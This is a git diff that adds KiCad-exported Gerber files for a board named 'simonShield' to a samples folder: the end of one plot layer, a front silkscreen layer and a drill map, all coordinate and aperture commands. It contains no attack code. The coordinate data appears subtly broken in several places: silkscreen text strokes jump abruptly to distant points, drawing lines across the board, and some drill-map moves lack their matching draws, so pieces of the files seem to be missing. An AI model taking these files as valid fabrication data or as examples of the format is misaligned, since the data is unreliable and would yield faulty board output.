+X164973000Y-65786000D03*
+X128143000Y-71374000D03*
+X129413000Y-72644000D03*
+X126873000Y-72644000D03*
+X181737000Y-73914000D03*
+X180467000Y-72644000D03*
+X183007000Y-72644000D03*
+X128143000Y-94742000D03*
+X129413000Y-96012000D03*
+X126873000Y-96012000D03*
+X181737000Y-97282000D03*
+X180467000Y-96012000D03*
+X183007000Y-96012000D03*
+D18*
+X134239000Y-85344000D03*
+X134239000Y-77724000D03*
+X145415000Y-85344000D03*
+X145415000Y-77724000D03*
+X175641000Y-85217000D03*
+X175641000Y-77597000D03*
+X145415000Y-108966000D03*
+X145415000Y-101346000D03*
+X134239000Y-108458000D03*
+X134239000Y-100838000D03*
+X175641000Y-108585000D03*
+X175641000Y-100965000D03*
+X164465000Y-108839000D03*
+X164465000Y-101219000D03*
+X169164000Y-62611000D03*
+X161544000Y-62611000D03*
+X169164000Y-59563000D03*
+X161544000Y-59563000D03*
+X129921000Y-85217000D03*
+X129921000Y-77597000D03*
+X126365000Y-85217000D03*
+X126365000Y-77597000D03*
+X180086000Y-85217000D03*
+X180086000Y-77597000D03*
+X183515000Y-85217000D03*
+X183515000Y-77597000D03*
+X129921000Y-108458000D03*
+X129921000Y-100838000D03*
+X126365000Y-108458000D03*
+X126365000Y-100838000D03*
+X179959000Y-108585000D03*
+X179959000Y-100965000D03*
+X183515000Y-108585000D03*
+X183515000Y-100965000D03*
+D12*
+X155000000Y-99000000D03*
+D13*
+X155000000Y-88840000D03*
+D25*
+X137287000Y-77724000D03*
+X142367000Y-77724000D03*
+X137287000Y-85344000D03*
+X142367000Y-85344000D03*
+X148463000Y-77724000D03*
+X153543000Y-77724000D03*
+X148463000Y-85344000D03*
+X153543000Y-85344000D03*
+X172593000Y-85344000D03*
+X167513000Y-85344000D03*
+X172593000Y-77724000D03*
+X167513000Y-77724000D03*
+X161417000Y-85344000D03*
+X156337000Y-85344000D03*
+X161417000Y-77724000D03*
+X156337000Y-77724000D03*
+X148463000Y-101219000D03*
+X153543000Y-101219000D03*
+X148463000Y-108839000D03*
+X153543000Y-108839000D03*
+X137287000Y-101219000D03*
+X142367000Y-101219000D03*
+X137287000Y-108839000D03*
+X142367000Y-108839000D03*
+X172593000Y-108712000D03*
+X167513000Y-108712000D03*
+X172593000Y-101092000D03*
+X167513000Y-101092000D03*
+X161417000Y-108712000D03*
+X156337000Y-108712000D03*
+X161417000Y-101092000D03*
+X156337000Y-101092000D03*
+D26*
+X157178971Y-64124429D03*
+X150828971Y-64124429D03*
+M02*
diff --git a/samples/Gerber Image/simonShield-F.SilkS.gbr b/samples/Gerber Image/simonShield-F.SilkS.gbr
new file mode 100644
index 0000000000..7e28629326
--- /dev/null
+++ b/samples/Gerber Image/simonShield-F.SilkS.gbr	
@@ -0,0 +1,392 @@
+G04 #@! TF.FileFunction,Legend,Top*
+%FSLAX46Y46*%
+G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:18 2017*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.100000*%
+%ADD11C,0.150000*%
+%ADD12C,0.187500*%
+%ADD13C,0.125000*%
+%ADD14C,0.300000*%
+%ADD15C,0.120000*%
+%ADD16C,0.002540*%
+%ADD17C,0.200000*%
+%ADD18C,0.170000*%
+%ADD19C,0.175000*%
+%ADD20C,0.180000*%
+%ADD21C,0.190000*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X196250000Y-118000000D02*
+X113000000Y-118000000D01*
+X196250000Y-52750000D02*
+X196250000Y-118000000D01*
+X113000000Y-52750000D02*
+X196250000Y-52750000D01*
+X113000000Y-118000000D02*
+X113000000Y-52750000D01*
+D12*
+X171964285Y-68083333D02*
+X123317001Y-106767381D01*
+X123650334Y-106767381D02*
+X123745572Y-106767381D01*
+X123793191Y-106815000D01*
+X123840810Y-106910238D01*
+X123864619Y-107100714D01*
+X123864619Y-107434048D01*
+X123840810Y-107624524D01*
+X123793191Y-107719762D01*
+X123745572Y-107767381D01*
+X123650334Y-107767381D01*
+X123602715Y-107719762D01*
+X123555096Y-107624524D01*
+X123531286Y-107434048D01*
+X123531286Y-107100714D01*
+X123555096Y-106910238D01*
+X123602715Y-106815000D01*
+X123650334Y-106767381D01*
+X124031287Y-106767381D02*
+X196102429Y-69431810D01*
+D13*
+X193274334Y-66254381D02*
+X193393381Y-67254381D01*
+X193488619Y-66540095D01*
+X193583857Y-67254381D01*
+X193702905Y-66254381D01*
+X193869572Y-66968667D02*
+X194107667Y-66968667D01*
+X193821953Y-67254381D02*
+X193988620Y-66254381D01*
+X194155286Y-67254381D01*
+X194321953Y-67254381D02*
+X194321953Y-66254381D01*
+X194607667Y-67254381D02*
+X194393381Y-66682952D01*
+X194607667Y-66254381D02*
+X194321953Y-66825810D01*
+X194821953Y-66730571D02*
+X194988619Y-66730571D01*
+X195060048Y-67254381D02*
+X194821953Y-67254381D01*
+X194821953Y-66254381D01*
+X195060048Y-66254381D01*
+X195274334Y-66254381D02*
+X195274334Y-67063905D01*
+X195298143Y-67159143D01*
+X195321953Y-67206762D01*
+X195369572Y-67254381D01*
+X195464810Y-67254381D01*
+X195512429Y-67206762D01*
+X195536238Y-67159143D01*
+X195560048Y-67063905D01*
+X195560048Y-66254381D01*
+X195798144Y-67254381D02*
+X195798144Y-66254381D01*
+X195988620Y-66254381D01*
+X196036239Y-66302000D01*
+X196060048Y-66349619D01*
+X196083858Y-66444857D01*
+X196083858Y-66587714D01*
+X196060048Y-66682952D01*
+X196036239Y-66730571D01*
+X195988620Y-66778190D01*
+X195798144Y-66778190D01*
+D17*
+X193929096Y-64016000D02*
+X193833858Y-63968381D01*
+X193691001Y-63968381D01*
+X193548143Y-64016000D01*
+X193452905Y-64111238D01*
+X193405286Y-64206476D01*
+X193357667Y-64396952D01*
+X193357667Y-64539810D01*
+X193405286Y-64730286D01*
+X193452905Y-64825524D01*
+X193548143Y-64920762D01*
+X193691001Y-64968381D01*
+X193786239Y-64968381D01*
+X193929096Y-64920762D01*
+X193976715Y-64873143D01*
+X193976715Y-64539810D01*
+X193786239Y-64539810D01*
+X194405286Y-64968381D02*
+X194405286Y-63968381D01*
+X194976715Y-64968381D01*
+X194976715Y-63968381D01*
+X195452905Y-64968381D02*
+X195452905Y-63968381D01*
+X195691000Y-63968381D01*
+X195833858Y-64016000D01*
+X195929096Y-64111238D01*
+X195976715Y-64206476D01*
+X196024334Y-64396952D01*
+X196024334Y-64539810D01*
+X195976715Y-64730286D01*
+X195929096Y-64825524D01*
+X195833858Y-64920762D01*
+X195691000Y-64968381D01*
+X195452905Y-64968381D01*
+X193278286Y-61539429D02*
+X194040191Y-61539429D01*
+X193659239Y-61920381D02*
+X193659239Y-61158476D01*
+X194992572Y-60920381D02*
+X194516381Y-60920381D01*
+X194468762Y-61396571D01*
+X194516381Y-61348952D01*
+X194611619Y-61301333D01*
+X194849715Y-61301333D01*
+X194944953Y-61348952D01*
+X194992572Y-61396571D01*
+X186697905Y-84637524D01*
+X186602667Y-84732762D01*
+X186459809Y-84780381D01*
+X186221714Y-84780381D01*
+X187174095Y-84494667D02*
+X187650286Y-84494667D01*
+X187078857Y-84780381D02*
+X187412190Y-83780381D01*
+X187745524Y-84780381D01*
+D13*
+X185555048Y-81240381D02*
+X185721715Y-82240381D01*
+X185888381Y-81240381D01*
+X186055048Y-82240381D02*
+X186055048Y-81240381D01*
+X186174095Y-81240381D01*
+X186245524Y-81288000D01*
+X186293143Y-81383238D01*
+X186316952Y-81478476D01*
+X186340762Y-81668952D01*
+X186340762Y-81811810D01*
+X186316952Y-82002286D01*
+X186293143Y-82097524D01*
+X186245524Y-82192762D01*
+X186174095Y-82240381D01*
+X186055048Y-82240381D01*
+X186555048Y-82240381D02*
+X186555048Y-81240381D01*
+X186674095Y-81240381D01*
+X186745524Y-81288000D01*
+X186793143Y-81383238D01*
+X186816952Y-81478476D01*
+X186840762Y-81668952D01*
+X186840762Y-81811810D01*
+X186816952Y-82002286D01*
+X186793143Y-82097524D01*
+X186745524Y-82192762D01*
+X186674095Y-82240381D01*
+X186555048Y-82240381D01*
+X187031238Y-81954667D02*
+X187269333Y-81954667D01*
+X186983619Y-82240381D02*
+X187150286Y-81240381D01*
+X187316952Y-82240381D01*
+D17*
+X185245524Y-79700381D02*
+X185245524Y-78700381D01*
+X185483619Y-78700381D01*
+X185626477Y-78748000D01*
+X185721715Y-78843238D01*
+X185769334Y-78938476D01*
+X185816953Y-79128952D01*
+X185816953Y-79271810D01*
+X185769334Y-79462286D01*
+X185721715Y-79557524D01*
+X185626477Y-79652762D01*
+X185483619Y-79700381D01*
+X185245524Y-79700381D01*
+X186197905Y-79414667D02*
+X186674096Y-79414667D01*
+X186102667Y-79700381D02*
+X186436000Y-78700381D01*
+X186769334Y-79700381D01*
+X187674096Y-79605143D02*
+X187626477Y-79652762D01*
+X187483620Y-79700381D01*
+X187388382Y-79700381D01*
+X187245524Y-79652762D01*
+X187150286Y-79557524D01*
+X187102667Y-79462286D01*
+X187055048Y-79271810D01*
+X187055048Y-79128952D01*
+X187102667Y-78938476D01*
+X187150286Y-78843238D01*
+X187245524Y-78748000D01*
+X187388382Y-78700381D01*
+X187483620Y-78700381D01*
+X187626477Y-78748000D01*
+X187674096Y-78795619D01*
+X185745524Y-77065143D02*
+X185697905Y-77112762D01*
+X185555048Y-77160381D01*
+X185459810Y-77160381D01*
+X185316952Y-77112762D01*
+X185221714Y-77017524D01*
+X185174095Y-76922286D01*
+X185126476Y-76731810D01*
+X185126476Y-76588952D01*
+X185174095Y-76398476D01*
+X185221714Y-76303238D01*
+X185316952Y-76208000D01*
+X185459810Y-76160381D01*
+X185555048Y-76160381D01*
+X185697905Y-76208000D01*
+X185745524Y-76255619D01*
+X186174095Y-77160381D02*
+X186174095Y-76160381D01*
+X186174095Y-76636571D02*
+X186745524Y-76636571D01*
+X186745524Y-77160381D02*
+X186745524Y-76160381D01*
+X187745524Y-77160381D02*
+X187174095Y-77160381D01*
+X187459809Y-77160381D02*
+X187459809Y-76160381D01*
+X187364571Y-76303238D01*
+X187269333Y-76398476D01*
+X187174095Y-76446095D01*
+X185491524Y-74525143D02*
+X185443905Y-74572762D01*
+X185301048Y-74620381D01*
+X185205810Y-74620381D01*
+X185062952Y-74572762D01*
+X184967714Y-74477524D01*
+X184920095Y-74382286D01*
+X184872476Y-74191810D01*
+X184872476Y-74048952D01*
+X184920095Y-73858476D01*
+X184967714Y-73763238D01*
+X185062952Y-73668000D01*
+X185205810Y-73620381D01*
+X185301048Y-73620381D01*
+X185443905Y-73668000D01*
+X185491524Y-73715619D01*
+X185920095Y-74620381D02*
+X185920095Y-73620381D01*
+X185920095Y-74096571D02*
+X186491524Y-74096571D01*
+X186491524Y-74620381D02*
+X186491524Y-73620381D01*
+X186920095Y-73715619D02*
+X186967714Y-73668000D01*
+X187062952Y-73620381D01*
+X187301048Y-73620381D01*
+X187396286Y-73668000D01*
+X187443905Y-73715619D01*
+X187491524Y-73810857D01*
+X187491524Y-73906095D01*
+X187443905Y-74048952D01*
+X186872476Y-74620381D01*
+X187491524Y-74620381D01*
+X185491524Y-71985143D02*
+X185443905Y-72032762D01*
+X185301048Y-72080381D01*
+X185205810Y-72080381D01*
+X185062952Y-72032762D01*
+X184967714Y-71937524D01*
+X184920095Y-71842286D01*
+X184872476Y-71651810D01*
+X184872476Y-71508952D01*
+X184920095Y-71318476D01*
+X184967714Y-71223238D01*
+X185062952Y-71128000D01*
+X185205810Y-71080381D01*
+X185301048Y-71080381D01*
+X185443905Y-71128000D01*
+X185491524Y-71175619D01*
+X185920095Y-72080381D02*
+X185920095Y-71080381D01*
+X185920095Y-71556571D02*
+X186491524Y-71556571D01*
+X186491524Y-72080381D02*
+X186491524Y-71080381D01*
+X186872476Y-71080381D02*
+X187491524Y-71080381D01*
+X187158190Y-71461333D01*
+X187301048Y-71461333D01*
+X187396286Y-71508952D01*
+X187443905Y-71556571D01*
+X187491524Y-71651810D01*
+X187491524Y-71889905D01*
+X187443905Y-71985143D01*
+X187396286Y-72032762D01*
+X187301048Y-72080381D01*
+X187015333Y-72080381D01*
+X186920095Y-72032762D01*
+X186872476Y-71985143D01*
+D13*
+X186094762Y-68588000D02*
+X186047143Y-68540381D01*
+X185975715Y-68540381D01*
+X185904286Y-68588000D01*
+X185856667Y-68683238D01*
+X185832858Y-68778476D01*
+X185809048Y-68968952D01*
+X185809048Y-69111810D01*
+X185832858Y-69302286D01*
+X185856667Y-69397524D01*
+X185904286Y-69492762D01*
+X185975715Y-69540381D01*
+X186023334Y-69540381D01*
+X186094762Y-69492762D01*
+X186118572Y-69445143D01*
+X186118572Y-69111810D01*
+X186023334Y-69111810D01*
+X186332858Y-69540381D02*
+X186332858Y-68540381D01*
+X186618572Y-69540381D01*
+X186618572Y-68540381D01*
+X186856668Y-69540381D02*
+X186856668Y-68540381D01*
+X186975715Y-68540381D01*
+X187047144Y-68588000D01*
+X187094763Y-68683238D01*
+X187118572Y-68778476D01*
+X187142382Y-68968952D01*
+X187142382Y-69111810D01*
+X187118572Y-69302286D01*
+X187094763Y-69397524D01*
+X187047144Y-69492762D01*
+X186975715Y-69540381D01*
+X186856668Y-69540381D01*
+X187332858Y-69254667D02*
+X187570953Y-69254667D01*
+X187285239Y-69540381D02*
+X187451906Y-68540381D01*
+X187618572Y-69540381D01*
+D17*
+X185459810Y-67000381D02*
+X185459810Y-66000381D01*
+X185888381Y-66952762D02*
+X186031238Y-67000381D01*
+X186269334Y-67000381D01*
+X186364572Y-66952762D01*
+X186412191Y-66905143D01*
+X186459810Y-66809905D01*
+X186459810Y-66714667D01*
+X186412191Y-66619429D01*
+X186364572Y-66571810D01*
+X186269334Y-66524190D01*
+X186078857Y-66476571D01*
+X185983619Y-66428952D01*
+X185936000Y-66381333D01*
+X185888381Y-66286095D01*
+X185888381Y-66190857D01*
+X185936000Y-66095619D01*
+X185983619Y-66048000D01*
+X186078857Y-66000381D01*
+X186316953Y-66000381D01*
+X186459810Y-66048000D01*
+X186888381Y-67000381D02*
+X186888381Y-66000381D01*
+X170488095Y-97273810D01*
+X146122399Y-64195858D02*
+X146884304Y-64195858D01*
+X146503352Y-64576810D02*
+X146503352Y-63814905D01*
+M02*
diff --git a/samples/Gerber Image/simonShield-drl_map.gbr b/samples/Gerber Image/simonShield-drl_map.gbr
new file mode 100644
index 0000000000..52cce5f464
--- /dev/null
+++ b/samples/Gerber Image/simonShield-drl_map.gbr	
@@ -0,0 +1,805 @@
+%FSLAX45Y45*%
+G04 Gerber Fmt 4.5, Leading zero omitted, Abs format (unit mm)*
+G04 Created by KiCad (PCBNEW 4.0.6-e0-6349~53~ubuntu16.04.1) date Sat Jul  1 03:26:22 2017*
+%MOMM*%
+%LPD*%
+G01*
+G04 APERTURE LIST*
+%ADD10C,0.127000*%
+%ADD11C,0.150000*%
+%ADD12C,0.200000*%
+%ADD13C,0.300000*%
+G04 APERTURE END LIST*
+D10*
+D11*
+X19625000Y-11800000D02*
+X11300000Y-11800000D01*
+X19625000Y-5275000D02*
+X19625000Y-11800000D01*
+X11300000Y-5275000D02*
+X19625000Y-5275000D01*
+X11300000Y-11800000D02*
+X11300000Y-5275000D01*
+D12*
+X12657300Y-7234400D02*
+X12717300Y-7294400D01*
+X12717300Y-7234400D02*
+X12657300Y-7294400D01*
+X12657300Y-9571200D02*
+X18270700Y-9571200D02*
+X18330700Y-9631200D01*
+X18330700Y-9571200D02*
+X18270700Y-9631200D01*
+X13764260Y-8013700D02*
+G75*
+G03X13764260Y-8013700I-35560J0D01*
+G01*
+X13764260Y-8343900D02*
+G75*
+G03X13764260Y-8343900I-35560J0D01*
+G01*
+X13764260Y-10350500D02*
+G75*
+G03X13764260Y-10350500I-35560J0D01*
+G01*
+X13764260Y-10668000D02*
+G75*
+G03X13764260Y-10668000I-35560J0D01*
+G01*
+X14869160Y-7962900D02*
+G75*
+G03X14869160Y-7962900I-35560J0D01*
+G01*
+X14881860Y-8318500D02*
+G75*
+G03X14881860Y-8318500I-35560J0D01*
+G01*
+X14881860Y-10350500D02*
+G75*
+G03X14881860Y-10350500I-35560J0D01*
+G01*
+X14881860Y-10693400D02*
+G75*
+G03X14881860Y-10693400I-35560J0D01*
+G01*
+X16177260Y-8001000D02*
+G75*
+G03X16177260Y-8001000I-35560J0D01*
+G01*
+X16177260Y-8343900D02*
+G75*
+G03X16177260Y-8343900I-35560J0D01*
+G01*
+X16177260Y-10375900D02*
+G75*
+G03X16177260Y-10375900I-35560J0D01*
+G01*
+X16177260Y-10693400D02*
+G75*
+G03X16177260Y-10693400I-35560J0D01*
+G01*
+X17294860Y-8013700D02*
+G75*
+G03X17294860Y-8013700I-35560J0D01*
+G01*
+X17294860Y-8331200D02*
+G75*
+G03X17294860Y-8331200I-35560J0D01*
+G01*
+X17294860Y-10337800D02*
+G75*
+G03X17294860Y-10337800I-35560J0D01*
+G01*
+X17294860Y-10693400D02*
+G75*
+G03X17294860Y-10693400I-35560J0D01*
+G01*
+X13525500Y-6360800D02*
+X13525500Y-6440800D01*
+X13485500Y-6400800D02*
+X13565500Y-6400800D01*
+X14540000Y-5824000D02*
+X14540000Y-5904000D01*
+X14500000Y-5864000D02*
+X14580000Y-5864000D01*
+X14540000Y-6840000D02*
+X14540000Y-6920000D01*
+X14500000Y-6880000D02*
+X14580000Y-6880000D01*
+X15500000Y-8844000D02*
+X15500000Y-8924000D01*
+X15460000Y-8884000D02*
+X15540000Y-8884000D01*
+X15500000Y-9860000D02*
+X15500000Y-9940000D01*
+X15460000Y-9900000D02*
+X15540000Y-9900000D01*
+X12586462Y-7809738D01*
+X12686538Y-7759700D02*
+G75*
+G03X12686538Y-7759700I-50038J0D01*
+G01*
+X12586462Y-8471662D02*
+X12686538Y-8571738D01*
+X12686538Y-8471662D02*
+X12586462Y-8571738D01*
+X12686538Y-8521700D02*
+G75*
+G03X12686538Y-8521700I-50038J0D01*
+G01*
+X12586462Y-10033762D02*
+X12686538Y-10133838D01*
+X12686538Y-10033762D02*
+X12586462Y-10133838D01*
+X12686538Y-10083800D02*
+G75*
+G03X12686538Y-10083800I-50038J0D01*
+G01*
+X12586462Y-10795762D02*
+X12686538Y-10895838D01*
+X12686538Y-10795762D02*
+X12586462Y-10895838D01*
+X12686538Y-10845800D02*
+G75*
+G03X12686538Y-10845800I-50038J0D01*
+G01*
+X12942062Y-7709662D02*
+X13042138Y-7809738D01*
+X13042138Y-7709662D02*
+X12942062Y-7809738D01*
+X13042138Y-7759700D02*
+G75*
+G03X13042138Y-7759700I-50038J0D01*
+G01*
+X12942062Y-8471662D02*
+X13042138Y-8571738D01*
+X13042138Y-8471662D02*
+X12942062Y-8571738D01*
+X13042138Y-8521700D02*
+G75*
+G03X13042138Y-8521700I-50038J0D01*
+G01*
+X12942062Y-10033762D02*
+X13042138Y-10133838D01*
+X13042138Y-10033762D02*
+X12942062Y-10133838D01*
+X13042138Y-10083800D02*
+G75*
+G03X13042138Y-10083800I-50038J0D01*
+G01*
+X12942062Y-10795762D02*
+X13042138Y-10895838D01*
+X13042138Y-10795762D02*
+X12942062Y-10895838D01*
+X13042138Y-10845800D02*
+G75*
+G03X13042138Y-10845800I-50038J0D01*
+G01*
+X13297662Y-7214362D02*
+X13397738Y-7314438D01*
+X13397738Y-7214362D02*
+X13297662Y-7314438D01*
+X13397738Y-7264400D02*
+G75*
+G03X13397738Y-7264400I-50038J0D01*
+G01*
+X13297662Y-9563862D02*
+X13397738Y-9663938D01*
+X13397738Y-9563862D02*
+X13297662Y-9663938D01*
+X13397738Y-9613900D02*
+G75*
+G03X13397738Y-9613900I-50038J0D01*
+G01*
+X13373862Y-7722362D02*
+X13473938Y-7822438D01*
+X13473938Y-7722362D02*
+X13373862Y-7822438D01*
+X13473938Y-7772400D02*
+G75*
+G03X13473938Y-7772400I-50038J0D01*
+G01*
+X13373862Y-8484362D02*
+X13473938Y-8584438D01*
+X13473938Y-8484362D02*
+X13373862Y-8584438D01*
+X13473938Y-8534400D02*
+G75*
+G03X13473938Y-8534400I-50038J0D01*
+G01*
+X13373862Y-10033762D02*
+X13473938Y-10133838D01*
+X13473938Y-10033762D02*
+X13373862Y-10133838D01*
+X13473938Y-10083800D02*
+G75*
+G03X13473938Y-10083800I-50038J0D01*
+G01*
+X13373862Y-10795762D02*
+X13473938Y-10895838D01*
+X13473938Y-10795762D02*
+X13373862Y-10895838D01*
+X13473938Y-10845800D02*
+G75*
+G03X13473938Y-10845800I-50038J0D01*
+G01*
+X13551662Y-7214362D02*
+X13651738Y-7314438D01*
+X13651738Y-7214362D02*
+X13551662Y-7314438D01*
+X13651738Y-7264400D02*
+G75*
+G03X13651738Y-7264400I-50038J0D01*
+G01*
+X13551662Y-9563862D02*
+X13651738Y-9663938D01*
+X13651738Y-9563862D02*
+X13551662Y-9663938D01*
+X13651738Y-9613900D02*
+G75*
+G03X13651738Y-9613900I-50038J0D01*
+G01*
+X14491462Y-7722362D02*
+X14591538Y-7822438D01*
+X14591538Y-7722362D02*
+X14491462Y-7822438D01*
+X14591538Y-7772400D02*
+G75*
+G03X14591538Y-7772400I-50038J0D01*
+G01*
+X14491462Y-8484362D02*
+X14591538Y-8584438D01*
+X14591538Y-8484362D02*
+X14491462Y-8584438D01*
+X14591538Y-8534400D02*
+G75*
+G03X14591538Y-8534400I-50038J0D01*
+G01*
+X14491462Y-10084562D02*
+X14591538Y-10184638D01*
+X14591538Y-10084562D02*
+X14491462Y-10184638D01*
+X14591538Y-10134600D02*
+G75*
+G03X14591538Y-10134600I-50038J0D01*
+G01*
+X14491462Y-10846562D02*
+X14591538Y-10946638D01*
+X14591538Y-10846562D02*
+X14491462Y-10946638D01*
+X14591538Y-10896600D02*
+G75*
+G03X14591538Y-10896600I-50038J0D01*
+G01*
+X15032859Y-6362405D02*
+X15132935Y-6462481D01*
+X15132935Y-6362405D02*
+X15032859Y-6462481D01*
+X15132935Y-6412443D02*
+G75*
+G03X15132935Y-6412443I-50038J0D01*
+G01*
+X15667859Y-6362405D02*
+X15767935Y-6462481D01*
+X15767935Y-6362405D02*
+X15667859Y-6462481D01*
+X15767935Y-6412443D02*
+G75*
+G03X15767935Y-6412443I-50038J0D01*
+G01*
+X16104362Y-5906262D02*
+X16204438Y-6006338D01*
+X16204438Y-5906262D02*
+X16104362Y-6006338D01*
+X16204438Y-5956300D02*
+G75*
+G03X16204438Y-5956300I-50038J0D01*
+G01*
+X16104362Y-6211062D02*
+X16204438Y-6311138D01*
+X16204438Y-6211062D02*
+X16104362Y-6311138D01*
+X16204438Y-6261100D02*
+G75*
+G03X16204438Y-6261100I-50038J0D01*
+G01*
+X16396462Y-7735062D02*
+X16496538Y-7835138D01*
+X16496538Y-7735062D02*
+X16396462Y-7835138D01*
+X16496538Y-7785100D02*
+G75*
+G03X16496538Y-7785100I-50038J0D01*
+G01*
+X16396462Y-8497062D02*
+X16496538Y-8597138D01*
+X16496538Y-8497062D02*
+X16396462Y-8597138D01*
+X16496538Y-8547100D02*
+G75*
+G03X16496538Y-8547100I-50038J0D01*
+G01*
+X16396462Y-10071862D02*
+X16496538Y-10171938D01*
+X16496538Y-10071862D02*
+X16396462Y-10171938D01*
+X16496538Y-10121900D02*
+G75*
+G03X16496538Y-10121900I-50038J0D01*
+G01*
+X16396462Y-10833862D02*
+X16496538Y-10933938D01*
+X16496538Y-10833862D02*
+X16396462Y-10933938D01*
+X16496538Y-10883900D02*
+G75*
+G03X16496538Y-10883900I-50038J0D01*
+G01*
+X16866362Y-5906262D02*
+X16966438Y-6006338D01*
+X16966438Y-5906262D02*
+X16866362Y-6006338D01*
+X16966438Y-5956300D02*
+G75*
+G03X16966438Y-5956300I-50038J0D01*
+G01*
+X16866362Y-6211062D02*
+X16966438Y-6311138D01*
+X16966438Y-6211062D02*
+X16866362Y-6311138D01*
+X16966438Y-6261100D02*
+G75*
+G03X16966438Y-6261100I-50038J0D01*
+G01*
+X17336262Y-7214362D02*
+X17436338Y-7314438D01*
+X17436338Y-7214362D02*
+X17336262Y-7314438D01*
+X17436338Y-7264400D02*
+G75*
+G03X17436338Y-7264400I-50038J0D01*
+G01*
+X17336262Y-9551162D02*
+X17436338Y-9651238D01*
+X17436338Y-9551162D02*
+X17336262Y-9651238D01*
+X17436338Y-9601200D02*
+G75*
+G03X17436338Y-9601200I-50038J0D01*
+G01*
+X17514062Y-7709662D02*
+X17614138Y-7809738D01*
+X17614138Y-7709662D02*
+X17514062Y-7809738D01*
+X17614138Y-7759700D02*
+G75*
+G03X17614138Y-7759700I-50038J0D01*
+G01*
+X17514062Y-8471662D02*
+X17614138Y-8571738D01*
+X17614138Y-8471662D02*
+X17514062Y-8571738D01*
+X17614138Y-8521700D02*
+G75*
+G03X17614138Y-8521700I-50038J0D01*
+G01*
+X17514062Y-10046462D02*
+X17614138Y-10146538D01*
+X17614138Y-10046462D02*
+X17514062Y-10146538D01*
+X17614138Y-10096500D02*
+G75*
+G03X17614138Y-10096500I-50038J0D01*
+G01*
+X17514062Y-10808462D02*
+X17614138Y-10908538D01*
+X17614138Y-10808462D02*
+X17514062Y-10908538D01*
+X17614138Y-10858500D02*
+G75*
+G03X17614138Y-10858500I-50038J0D01*
+G01*
+X17590262Y-7214362D02*
+X17690338Y-7314438D01*
+X17690338Y-7214362D02*
+X17590262Y-7314438D01*
+X17690338Y-7264400D02*
+G75*
+G03X17690338Y-7264400I-50038J0D01*
+G01*
+X17590262Y-9551162D02*
+X17690338Y-9651238D01*
+X17690338Y-9551162D02*
+X17590262Y-9651238D01*
+X17690338Y-9601200D02*
+G75*
+G03X17690338Y-9601200I-50038J0D01*
+G01*
+X17945862Y-10046462D02*
+X18045938Y-10146538D01*
+X18045938Y-10046462D02*
+X17945862Y-10146538D01*
+X18045938Y-10096500D02*
+G75*
+G03X18045938Y-10096500I-50038J0D01*
+G01*
+X17945862Y-10808462D02*
+X18045938Y-10908538D01*
+X18045938Y-10808462D02*
+X17945862Y-10908538D01*
+X18045938Y-10858500D02*
+G75*
+G03X18045938Y-10858500I-50038J0D01*
+G01*
+X17958562Y-7709662D02*
+X18058638Y-7809738D01*
+X18058638Y-7709662D02*
+X17958562Y-7809738D01*
+X18058638Y-7759700D02*
+G75*
+G03X18058638Y-7759700I-50038J0D01*
+G01*
+X17958562Y-8471662D02*
+X18058638Y-8571738D01*
+X18058638Y-8471662D02*
+X17958562Y-8571738D01*
+X18058638Y-8521700D02*
+G75*
+G03X18058638Y-8521700I-50038J0D01*
+G01*
+X18301462Y-7709662D02*
+X18401538Y-7809738D01*
+X18401538Y-7709662D02*
+X18301462Y-7809738D01*
+X18401538Y-7759700D02*
+G75*
+G03X18401538Y-7759700I-50038J0D01*
+G01*
+X18301462Y-8471662D02*
+X18401538Y-8571738D01*
+X18401538Y-8471662D02*
+X18301462Y-8571738D01*
+X18401538Y-8521700D02*
+G75*
+G03X18401538Y-8521700I-50038J0D01*
+G01*
+X18301462Y-10046462D02*
+X18401538Y-10146538D01*
+X18401538Y-10046462D02*
+X18301462Y-10146538D01*
+X18401538Y-10096500D02*
+G75*
+G03X18401538Y-10096500I-50038J0D01*
+G01*
+X18301462Y-10808462D02*
+X18401538Y-10908538D01*
+X18401538Y-10808462D02*
+X18301462Y-10908538D01*
+X18401538Y-10858500D02*
+G75*
+G03X18401538Y-10858500I-50038J0D01*
+G01*
+X11760200Y-6096000D02*
+X11861800Y-6197600D01*
+X11861800Y-6096000D02*
+X18872200Y-10668000D02*
+X18973800Y-10769600D01*
+X18973800Y-10668000D02*
+X18872200Y-10769600D01*
+X18923000Y-10668000D02*
+X18923000Y-10769600D01*
+X18872200Y-10718800D02*
+X18973800Y-10718800D01*
+X18872200Y-10922000D02*
+X18973800Y-11023600D01*
+X18973800Y-10922000D02*
+X18872200Y-11023600D01*
+X18923000Y-10922000D02*
+X18923000Y-11023600D01*
+X18872200Y-10972800D02*
+X18973800Y-10972800D01*
+X19126200Y-6096000D02*
+X19227800Y-6197600D01*
+X19227800Y-6096000D02*
+X19126200Y-6197600D01*
+X19177000Y-6096000D02*
+X19177000Y-6197600D01*
+X19126200Y-6146800D02*
+X19227800Y-6146800D01*
+X19126200Y-6350000D02*
+X19227800Y-6451600D01*
+X19227800Y-6350000D02*
+X19126200Y-6451600D01*
+X19177000Y-6350000D02*
+X19177000Y-6451600D01*
+X19126200Y-6400800D02*
+X19227800Y-6400800D01*
+X19126200Y-6604000D02*
+X19227800Y-6705600D01*
+X19227800Y-6604000D02*
+X19126200Y-6705600D01*
+X19177000Y-6604000D02*
+X19177000Y-6705600D01*
+X19126200Y-6654800D02*
+X19227800Y-6654800D01*
+X19126200Y-6858000D02*
+X19227800Y-6959600D01*
+X19227800Y-6858000D02*
+X19126200Y-6959600D01*
+X19177000Y-6858000D02*
+X19177000Y-6959600D01*
+X19126200Y-6908800D02*
+X19227800Y-6908800D01*
+X19126200Y-7112000D02*
+X19227800Y-7213600D01*
+X19227800Y-7112000D02*
+X19126200Y-7213600D01*
+X19177000Y-7112000D02*
+X19177000Y-7213600D01*
+X19126200Y-7162800D02*
+X19227800Y-7162800D01*
+X19126200Y-7366000D02*
+X19227800Y-7467600D01*
+X19227800Y-7366000D02*
+X19126200Y-7467600D01*
+X19177000Y-7366000D02*
+X19177000Y-7467600D01*
+X19126200Y-7416800D02*
+X19227800Y-7416800D01*
+X19126200Y-7620000D02*
+X19227800Y-7721600D01*
+X19227800Y-7620000D02*
+X19126200Y-7721600D01*
+X19177000Y-7620000D02*
+X19177000Y-7721600D01*
+X19126200Y-7670800D02*
+X19227800Y-7670800D01*
